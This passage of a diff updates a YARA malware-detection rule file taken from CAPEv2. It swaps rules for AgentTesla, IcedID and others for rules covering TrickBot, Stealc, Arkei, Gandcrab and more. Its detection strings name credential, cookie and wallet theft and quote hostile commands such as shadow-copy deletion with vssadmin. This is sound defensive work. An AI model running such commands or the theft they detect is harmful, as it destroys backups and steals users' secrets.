[clipboard]" wide ascii + $code1 = {41 0F B6 00 4D 8D 40 01 34 01 8B D7 83 E2 07 0F BE C8 FF C7 41 0F BE 04 91 0F AF C1 41 88 40 FF 81 FF 80 03 00 00 7C D8} condition: - 3 of them + uint16( 0 ) == 0x5A4D and any of ( $code* ) } -rule CAPE_Agenttesla : FILE +rule CAPE_Zeuspanda : FILE { meta: - description = "AgentTesla Payload" + description = "ZeusPanda Payload" author = "kevoreilly" - id = "f7b930f1-cecb-5d80-809b-9503f282247a" + id = "7891c021-6687-5457-b9e1-0beb0472647c" date = "2019-10-30" - modified = "2026-01-14" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AgentTesla.yar#L19-L41" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "1bf9b26c4cf87e674ddffabe40aba5a45499c6a04d4ff3e43c3cda4cbcb4d188" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/ZeusPanda.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "43d8a56cae9fd23c053f6956851734d3270b46a906236854502c136e3bb1e761" score = 75 quality = 70 tags = "FILE" - cape_type = "AgentTesla Payload" + cape_type = "ZeusPanda Payload" strings: - $string1 = "smtp" wide - $string2 = "appdata" wide - $string3 = "76487-337-8429955-22614" wide - $string4 = "yyyy-MM-dd HH:mm:ss" wide - $string6 = "webpanel" wide - $string7 = "
UserName      :" wide - $string8 = "
IP Address  :" wide - $agt1 = "IELibrary.dll" ascii - $agt2 = "C:\\Users\\Admin\\Desktop\\IELibrary\\IELibrary\\obj\\Debug\\IELibrary.pdb" ascii - $agt3 = "GetSavedPasswords" ascii - $agt4 = "GetSavedCookies" ascii + $code1 = {8B 01 57 55 55 55 55 55 55 53 51 FF 50 0C 85 C0 78 E? 55 55 6A 03 6A 03 55 55 6A 0A FF 37} + $code2 = {8D 85 B0 FD FF FF 50 68 ?? ?? ?? ?? 8D 85 90 FA FF FF 68 0E 01 00 00 50 E8 ?? ?? ?? ?? 83 C4 10 83 F8 FF 7E ?? 68 04 01 00 00 8D 85 B0 FD FF FF} condition: - uint16( 0 ) == 0x5A4D and ( all of ( $string* ) or 3 of ( $agt* ) ) + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Agentteslav2 : FILE + +rule CAPE_Nighthawk { meta: - description = "AgenetTesla Type 2 Keylogger payload" - author = "ditekshen" - id = "e60ecee4-0a97-56a1-b21e-47190f8cd1f8" - date = "2019-10-30" - modified = "2026-01-14" + description = "NightHawk C2" + author = "Nikhil Ashok Hegde <@ka1do9>" + id = "096b9d13-6aa7-5b6e-aaeb-e25aa7c8c53f" + date = "2022-12-03" + modified = "2022-12-05" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AgentTesla.yar#L43-L67" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "b45296b3b94fa1ff32de48c94329a17402461fb6696e9390565c4dba9738ed78" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Nighthawk.yar#L3-L24" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "2d77912678e06503ffef0e8ed84aa4f9ac74357480d57742fbae619acebfb5f2" score = 75 quality = 70 - tags = "FILE" - cape_type = "AgentTesla Payload" + tags = "" + cape_type = "Nighthawk Payload" strings: - $s1 = "get_kbHook" ascii - $s2 = "GetPrivateProfileString" ascii - $s3 = "get_OSFullName" ascii - $s4 = "get_PasswordHash" ascii - $s5 = "remove_Key" ascii - $s6 = "FtpWebRequest" ascii - $s7 = "logins" fullword wide - $s8 = "keylog" fullword wide - $s9 = "1.85 (Hash, version 2, native byte-order)" wide - $cl1 = "Postbox" fullword ascii - $cl2 = "BlackHawk" fullword ascii - $cl3 = "WaterFox" fullword ascii - $cl4 = "CyberFox" fullword ascii - $cl5 = "IceDragon" fullword ascii - $cl6 = "Thunderbird" fullword ascii + $keying_methods = { 85 C9 74 43 83 E9 01 74 1C 83 F9 01 0F 85 } + $aes_sbox = { 63 7C 77 7B F2 6B 6F C5 30 } + $aes_inv_sbox = { 52 09 6A D5 30 36 A5 38 BF } condition: - ( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( 6 of ( $s* ) and 2 of ( $cl* ) ) + pe.is_pe and for any s in pe.sections : ( s.name == ".profile" ) and all of them } -rule CAPE_Agentteslav3 : FILE +rule CAPE_Fareit : FILE { meta: - description = "AgentTeslaV3 infostealer payload" - author = "ditekshen" - id = "c8ddd838-6ad4-56f3-a0cd-b890f809018c" + description = "Fareit Payload" + author = "kevoreilly" + id = "b3c4eb86-d104-5f31-afa4-5bf5f370f64e" date = "2019-10-30" - modified = "2026-01-14" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AgentTesla.yar#L69-L115" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "cc9bbbcf3608b49a76b098acf846ff03eae5e9cb107697627d62661fa1be36c2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Fareit.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "ed35391ffc949219f380da3f22bc8397a7d5c742bd68e227c3becdebcab5cf83" score = 75 quality = 70 tags = "FILE" - cape_type = "AgentTesla payload" + cape_type = "Fareit Payload" strings: - $s_specific1 = "get_kbok" fullword ascii - $s_specific2 = "get_CHoo" fullword ascii - $s_specific3 = "KillTorProcess" fullword ascii - $s_specific4 = "GetMozilla" ascii - $s_specific5 = "torbrowser" wide - $s_specific6 = "bot%telegramapi%" wide - $s_specific7 = "%chatid%" wide - $s_typo = "set_Lenght" fullword ascii - $m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.htmlLogtext/html[]Time" ascii - $m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii - $m3 = ">{CTRL}Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii - $m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii - $m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii - $s_generic1 = "set_UseShellExecute" fullword ascii - $s_generic2 = "set_IsBodyHtml" fullword ascii - $s_generic3 = "set_AllowAutoRedirect" fullword ascii - $s_generic4 = "set_RedirectStandardOutput" fullword ascii + $string1 = {0D 0A 09 09 0D 0A 0D 0A 09 20 20 20 3A 6B 74 6B 20 20 20 0D 0A 0D 0A 0D 0A 20 20 20 20 20 64 65 6C 20 20 20 20 09 20 25 31 20 20 0D 0A 09 69 66 20 20 09 09 20 65 78 69 73 74 20 09 20 20 20 25 31 20 20 09 20 20 67 6F 74 6F 20 09 0D 20 6B 74 6B 0D 0A 20 64 65 6C 20 09 20 20 25 30 20 00} condition: - (2 of ( $m* ) ) or ( uint16( 0 ) == 0x5a4d and ( 5 of ( $s_specific* ) or ( $s_typo and 4 of ( $s_generic* ) ) ) ) + uint16( 0 ) == 0x5A4D and any of ( $string* ) } -rule CAPE_Agentteslav4 : FILE +rule CAPE_Aurastealer { meta: - description = "AgentTesla Payload" - author = "kevoreilly" - id = "a39109ca-84cb-527d-b9c2-d8763fa6e496" - date = "2019-10-30" - modified = "2026-01-14" + description = "AuraStealer Payload" + author = "enzok" + id = "1fe058a8-1e87-51bb-8b5c-914442bca2e5" + date = "2025-09-02" + modified = "2025-09-02" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AgentTesla.yar#L117-L130" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0a39036f408728ab312a54ff3354453d171424f57f9a8f3b42af867be3037ca9" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AuraStealer.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "960b83639a898509dc272f3235822401a8f861fa6607991993285b618b882d8b" score = 75 quality = 70 - tags = "FILE" - cape_type = "AgentTesla Payload" - packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c" + tags = "" + cape_type = "AuraStealer Payload" + unpacked = "a9c47f10d5eb77d7d6b356be00b4814a7c1e5bb75739b464beb6ea03fc36cc85" + packed = "bac52ffc8072893ff26cdbf1df1ecbcbb1762ded80249d3c9d420f62ed0dc202" strings: - $decode1 = {(07|FE 0C 01 00) (07|FE 0C 01 00) 8E 69 (17|20 01 00 00 00) 63 8F ?? 00 00 01 25 47 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A D2 61 D2 52} - $decode2 = {(07|FE 0C 01 00) (08|FE 0C 02 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (11 07|FE 0C 07 00) 91 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A 61 D2 61 D2 52} - $decode3 = {(07|FE 0C 01 00) (11 07|FE 0C 07 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (08|FE 0C 02 00) 91 61 D2 52} + $conf = {8D BE ?? 00 00 00 68 00 40 00 00 5? 5? FF D1 83 C4 ?? 8B 07 8B 57 04 29 C2} + $key1 = {FF D2 8B 2B 8D 75 ?? 8B 5D ?? 33 5D ?? 8D 45} + $key2 = {89 0B 89 F9 5? 5? 5? E8 [4] 8B 3F 8D 6F 38 8B 77 30 33 77 34 8D 47 20 8D 4C 24 ?? 89 FA 5? E8} + $keyexpansion = {31 C0 8A 1C 82 88 1C 81 8A 5C 82 01 88 5C 81 01 8A 5C 82 02 88 5C 81 02 8A 5C 82 03 88 5C 81 03 4? 83 F8 08 75 ?? B? 08 00 00 00} + $antivm2 = {8B 43 04 8B 0D [4] 3B 81 [4] B? [2] 00 00 B? [2] 00 00 0F 44 D1 85 C0 0F 44 D1 8B 8A [4] 03 8A [4] FF E1 31 FF EB ?? 8B 78 0C 33 78 10 B? [4] 03 05 [4] FF D0} + $antivm1 = {39 04 11 0f 94 C3 8B 44 ?? ?? 85 C0} condition: - uint16( 0 ) == 0x5A4D and all of them + 3 of them } -rule CAPE_Icedid +rule CAPE_Trickbot { meta: - description = "IcedID Payload" - author = "kevoreilly, threathive" - id = "439342be-a1e6-5656-8813-5cebb0e88e98" + description = "TrickBot Payload" + author = "sysopfb & kevoreilly" + id = "dc88eadd-7b84-5bd0-96d1-aad480632bee" date = "2019-10-30" - modified = "2021-12-16" + modified = "2023-02-07" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/IcedID.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "e60ccbab7a360020744eba65961156ca3e2ae9cf23671014f913d71c1a96a331" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/TrickBot.yar#L1-L20" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "47cc2070b43957601a72745329a9d14fb3fbfd4d2b31cacc35d4ac750dde31ea" score = 75 - quality = 45 + quality = 70 tags = "" - cape_type = "IcedID Payload" + cape_type = "TrickBot Payload" strings: - $crypt1 = {8A 04 ?? D1 C? F7 D? D1 C? 81 E? 20 01 00 00 D1 C? F7 D? 81 E? 01 91 00 00 32 C? 88} - $crypt2 = {8B 44 24 04 D1 C8 F7 D0 D1 C8 2D 20 01 00 00 D1 C0 F7 D0 2D 01 91 00 00 C3} - $crypt3 = {41 00 8B C8 C1 E1 08 0F B6 C4 66 33 C8 66 89 4? 24 A1 ?? ?? 41 00 89 4? 20 A0 ?? ?? 41 00 D0 E8 32 4? 32} - $download1 = {8D 44 24 40 50 8D 84 24 44 03 00 00 68 04 21 40 00 50 FF D5 8D 84 24 4C 01 00 00 C7 44 24 28 01 00 00 00 89 44 24 1C 8D 4C 24 1C 8D 84 24 4C 03 00 00 83 C4 0C 89 44 24 14 8B D3 B8 BB 01 00 00 66 89 44 24 18 57} - $download2 = {8B 75 ?? 8D 4D ?? 8B 7D ?? 8B D6 57 89 1E 89 1F E8 [4] 59 3D C8 00 00 00 75 05 33 C0 40 EB} - $major_ver = {0F B6 05 ?? ?? ?? ?? 6A ?? 6A 72 FF 75 0C 6A 70 50 FF 35 ?? ?? ?? ?? 8D 45 80 FF 35 ?? ?? ?? ?? 6A 63 FF 75 08 6A 67 50 FF 75 10 FF 15 ?? ?? ?? ?? 83 C4 38 8B E5 5D C3} - $stage_2_request_binary = "id=" - $stage_2_request_img = ".png" + $str1 = "*" ascii wide + $str2 = "group_tag" ascii wide + $str3 = "client_id" ascii wide + $code1 = {8A 11 88 54 35 F8 46 41 4F 89 4D F0 83 FE 04 0F 85 7E 00 00 00 8A 1D ?? ?? ?? ?? 33 F6 8D 49 00 33 C9 84 DB 74 1F 8A 54 35 F8 8A C3 8D 64 24 00} + $code2 = {8B 4D FC 8A D1 02 D2 8A C5 C0 F8 04 02 D2 24 03 02 C2 88 45 08 8A 45 FE 8A D0 C0 FA 02 8A CD C0 E1 04 80 E2 0F 32 D1 8B 4D F8 C0 E0 06 02 45 FF 88 55 09 66 8B 55 08 66 89 11 88 41 02} + $code3 = {0F B6 54 24 49 0F B6 44 24 48 48 83 C6 03 C0 E0 02 0F B6 CA C0 E2 04 C0 F9 04 33 DB 80 E1 03 02 C8 88 4C 24 40 0F B6 4C 24 4A 0F B6 C1 C0 E1 06 02 4C 24 4B C0 F8 02 88 4C 24 42 24 0F} + $code4 = {53 8B 5C 24 18 55 8B 6C 24 10 56 8B 74 24 18 8D 9B 00 00 00 00 8B C1 33 D2 F7 F3 41 8A 04 2A 30 44 31 FF 3B CF 75 EE 5E 5D 5B 5F C3} + $code5 = {50 0F 31 C7 44 24 04 01 00 00 00 8D 0C C5 00 00 00 00 F7 C1 F8 07 00 00 74 1B 48 C1 E2 20 48 8B C8 48 0B CA 0F B6 C9 C1 E1 03 F7 D9 C1 64 24 04 10 FF C1 75 F7 59 C3} + $code6 = {53 8B 5C 24 0C 56 8B 74 24 14 B8 ?? ?? ?? ?? F7 E9 C1 FA 02 8B C2 C1 E8 1F 03 C2 6B C0 16 8B D1 2B D0 8A 04 1A 30 04 31 41 3B CF 75 DD 5E 5B 5F C3} + $code7 = {B8 ?? ?? 00 00 85 C9 74 32 BE ?? ?? ?? ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? 03 F2 8B 2B 83 C3 04 33 2F 83 C7 04 89 29 83 C1 04 3B DE 0F 43 DA} condition: - any of ( $crypt* , $download* , $major_ver ) and all of ( $stage_2_request_* ) + all of ( $str* ) or any of ( $code* ) } -rule CAPE_Xenorat +rule CAPE_Trickbot_Permadll_UEFI_Module { meta: - description = "No description has been set in the source file - CAPE" - author = "jeFF0Falltrades" - id = "9708158d-06fc-5991-a084-df2bfe1d5c96" - date = "2024-10-09" - modified = "2024-10-09" + description = "Detects TrickBot Banking module permaDll" + author = "@VK_Intel | Advanced Intelligence" + id = "ba104164-0a1a-5a4c-8312-7653f7818e96" + date = "2019-10-30" + modified = "2023-02-07" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/XenoRAT.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "26f520fb69a52d05786fac0e9e38f5db9601da0a3e7768e00975a9684f3560ef" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/TrickBot.yar#L22-L38" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "491115422a6b94dc952982e6914adc39" + logic_hash = "564055f56fd19bed8900e6d451ba050b4e9013a9208a3bdc3d3d563567d225d2" score = 75 - quality = 66 + quality = 70 tags = "" - cape_type = "XenoRAT payload" strings: - $str_xeno_rat_1 = "xeno rat" wide ascii nocase - $str_xeno_rat_2 = "xeno_rat" wide ascii nocase - $str_xeno_update_mgr = "XenoUpdateManager" wide ascii - $str_nothingset = "nothingset" wide ascii - $byte_enc_dec_pre = { 1f 10 8d [4] (0a | 0b) } - $patt_config = { 72 [3] 70 80 [3] 04 } + $module_cfg = "moduleconfig" + $str_imp_01 = "Start" + $str_imp_02 = "Control" + $str_imp_03 = "FreeBuffer" + $str_imp_04 = "Release" + $module = "user_platform_check.dll" + $intro_routine = { 83 ec 40 8b ?? ?? ?? 53 8b ?? ?? ?? 55 33 ed a3 ?? ?? ?? ?? 8b ?? ?? ?? 56 57 89 ?? ?? ?? a3 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 75 ?? 8d ?? ?? ?? 89 ?? ?? ?? 50 6a 40 8d ?? ?? ?? ?? ?? 55 e8 ?? ?? ?? ?? 85 c0 78 ?? 8b ?? ?? ?? 85 ff 74 ?? 47 57 e8 ?? ?? ?? ?? 8b f0 59 85 f6 74 ?? 57 6a 00 56 e8 ?? ?? ?? ?? 83 c4 0c eb ??} condition: - 4 of them and #patt_config >= 5 + 6 of them } -rule CAPE_Atlas : FILE +rule CAPE_Kpot : FILE { meta: - description = "Atlas Payload" + description = "Kpot Stealer" author = "kevoreilly" - id = "22322e5c-ded6-56df-8a39-a8f5cbc18239" - date = "2019-10-30" - modified = "2019-10-30" + id = "724fd6ac-e734-5952-b459-01cbaffdb89d" + date = "2020-10-19" + modified = "2020-10-19" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Atlas.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "c3f73b29df5caf804dbfe3e6ac07a9e2c772bd2a126f0487e4a65e72bd501e6e" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Kpot.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "75abaab9a10e8ac8808425c389238285ab9bd9cb76f0cd03cc1e35b3ea0a1b0f" score = 75 quality = 70 tags = "FILE" - cape_type = "Atlas Payload" + cape_type = "Kpot Payload" strings: - $a1 = "bye.bat" - $a2 = "task=knock&id=%s&ver=%s x%s&disks=%s&other=%s&ip=%s&pub=" - $a3 = "process call create \"cmd /c start vssadmin delete shadows /all /q" + $format = "%s | %s | %s | %s | %s | %s | %s | %d | %s" + $username = "username:s:" + $os = "OS: %S x%d" condition: - uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) + uint16( 0 ) == 0x5A4D and 2 of them } rule CAPE_Hermes : FILE { @@ -65845,8 +65607,8 @@ rule CAPE_Hermes : FILE date = "2019-10-30" modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Hermes.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Hermes.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "9bc974173f39a57e7adfbf8ae106a20d960557696b4c3ce16e9b4e47d3e9e95b" score = 75 quality = 70 @@ -65861,475 +65623,717 @@ rule CAPE_Hermes : FILE condition: uint16( 0 ) == 0x5A4D and all of ( $* ) } -rule CAPE_Mykings : FILE +rule CAPE_Stealc : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "YungBinary" - id = "c9d7b061-b76c-595c-a362-6c89c96093d9" - date = "2025-10-24" - modified = "2025-10-26" - reference = "https://x.com/YungBinary/status/1981108948498333900" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/MyKings.yar#L1-L23" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "82647dd23c0247faa045893ec1cf111da2a30528a1b737b59ce1b71172a64473" + description = "Stealc Payload" + author = "kevoreilly" + id = "77567584-7c84-5351-938b-d29d612a042d" + date = "2023-02-22" + modified = "2025-08-21" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Stealc.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d" + logic_hash = "a6165168b7c74761b91d1691465688c748227b830813067edb4e9bdc934271c4" score = 75 quality = 70 tags = "FILE" - cape_type = "MyKings Payload" + cape_type = "Stealc Payload" strings: - $s1 = "login.php?uid=0" wide - $s2 = "download.txt?rnd=" wide - $s3 = "AcceptOK" ascii - $s4 = "winsta0\\default" wide - $s5 = "base64_ip.txt" wide - $s6 = { 70 00 6F 00 77 00 65 00 72 00 74 00 6F 00 6F 00 6C 00 00 00 6B 00 61 00 73 00 70 00 65 00 72 00 73 00 6B 00 79 } - $s7 = { 53 00 61 00 66 00 65 00 00 00 00 00 45 00 73 00 65 00 74 } - $s8 = { 4E 00 6F 00 64 00 33 00 32 00 00 00 4D 00 61 00 6C 00 77 00 61 00 72 00 65 } - $s9 = "Custom C++ HTTP Client/1.0" wide - $s10 = "/ru \"SYSTEM\" /f" ascii - $s11 = "cmd.exe /C timeout /t 1 & del " wide - $s12 = "/login.aspx?uid=0" wide - $s13 = "cmd-230812.ru" base64 + $nugget1 = {68 04 01 00 00 6A 00 FF 15 [4] 50 FF 15} + $nugget2 = {64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 FC} + + condition: + uint16( 0 ) == 0x5A4D and all of them +} +rule CAPE_Stealcv2 : FILE +{ + meta: + description = "Stealc V2 Payload" + author = "kevoreilly" + id = "0f72c468-9485-5e29-b29a-7dfc3e579e02" + date = "2023-02-22" + modified = "2025-08-21" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Stealc.yar#L15-L32" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "911c6a7f63e91a788898f3cc6e66396e39d5bd48f8fbaac49ee5dbbdaa64d5a0" + score = 75 + quality = 70 + tags = "FILE" + cape_type = "Stealc Payload" + packed = "2f42dcf05dd87e6352491ff9d4ea3dc3f854df53d548a8da0c323be42df797b6" + packed = "8301936f439f43579cffe98e11e3224051e2fb890ffe9df680bbbd8db0729387" + + strings: + $decode32 = {AB AB AB AB 8B 45 0C 89 4E 10 89 4E 14 39 45 08 75 0B C7 46 14 0F 00 00 00 88 0E EB 0F 2B 45 08 50 51 FF 75 ?? 8B} + $dump32 = {33 C0 89 46 30 88 46 34 89 46 38 89 46 3C 89 46 40 89 46 44 89 46 48 89 46 4C 89 46 50 89 46 54 89 46 58 8B C6 5F 5E C3} + $date32 = {F3 A5 8D 45 ?? 50 E8 [4] 59 8B F8 8B F2 8D 45 A4 50 E8 [4] 59 3B F2 7C 08 7F 04 3B F8 76 02 B3 01 8A C3} + $decode64 = {40 53 48 83 EC 20 48 8B 19 48 85 DB 74 ?? 48 8B 53 18 48 83 FA 0F 76 2C 48 8B 0B 48 FF C2 48 81 FA 00 10 00 00 72} + $dump64 = {48 8B C7 89 6F 40 40 88 6F 44 48 89 6F 48 48 89 6F 50 48 89 6F 58 48 89 6F 60 48 89 6F 68 48 89 6F 70 48 89 6F 78 48 89} + $date64 = {0F 11 44 [2] 0F 11 8C [2] 00 00 00 89 8C [2] 00 00 00 48 8D 4C [2] E8 [4] 48 8B D8 48 8D 4C [2] E8 [4] 48 3B D8 0F 9F C0} + + condition: + uint16( 0 ) == 0x5A4D and 2 of them +} +rule CAPE_Arkei : FILE +{ + meta: + description = "Arkei Payload" + author = "kevoreilly, YungBinary" + id = "18363a5b-46f3-5d11-9bc6-a91f81b49706" + date = "2019-10-30" + modified = "2025-01-10" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Arkei.yar#L1-L50" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "296e420880d8d2f24424d0411e7ef4939e18147689557512f410da48498a44c9" + score = 75 + quality = 70 + tags = "FILE" + cape_type = "Arkei Payload" + + strings: + $string1 = "Windows_Antimalware_Host_System_Worker" + $string2 = "Arkei" + $string3 = "Bitcoin\\wallet.dat" + $string4 = "Ethereum\\keystore" + $v1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide + $v2 = "/c taskkill /im " fullword ascii + $v3 = "card_number_encrypted FROM credit_cards" ascii + $v4 = "\\wallet.dat" ascii + $v5 = "Arkei/" wide + $v6 = "files\\passwords." ascii wide + $v7 = "files\\cc_" ascii wide + $v8 = "files\\autofill_" ascii wide + $v9 = "files\\cookies_" ascii wide + $loaded_modules = { + 64 A1 30 00 00 00 + 8B 40 0C + 8B 40 0C + 8B 00 + 8B 00 + 8B 40 18 + 89 45 FC + 8B 45 FC + 8B E5 + 5D + C3 + } + $language_check = { + FF 15 ?? ?? ?? ?? + 0F B7 C0 + 89 45 ?? + 81 7D ?? 3F 04 ?? ?? + 7F + } + $ext1 = ".zoo" ascii + $ext2 = ".arc" ascii condition: - uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) ) + uint16( 0 ) == 0x5A4D and ( ( $loaded_modules and $language_check and $ext1 and $ext2 ) or ( all of ( $string* ) or 7 of ( $v* ) ) ) } -rule CAPE_Stealc : FILE +rule CAPE_Gandcrab : FILE { meta: - description = "Stealc Payload" + description = "Gandcrab Payload" author = "kevoreilly" - id = "77567584-7c84-5351-938b-d29d612a042d" - date = "2023-02-22" - modified = "2025-08-21" + id = "0082e8c9-952e-508c-a438-4e17b8031864" + date = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Stealc.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d" - logic_hash = "a6165168b7c74761b91d1691465688c748227b830813067edb4e9bdc934271c4" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Gandcrab.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "354ed566dbafbe8e9531bb771d9846952eb8c0e70ee94c26d09368159ce4142c" score = 75 quality = 70 tags = "FILE" - cape_type = "Stealc Payload" + cape_type = "Gandcrab Payload" strings: - $nugget1 = {68 04 01 00 00 6A 00 FF 15 [4] 50 FF 15} - $nugget2 = {64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 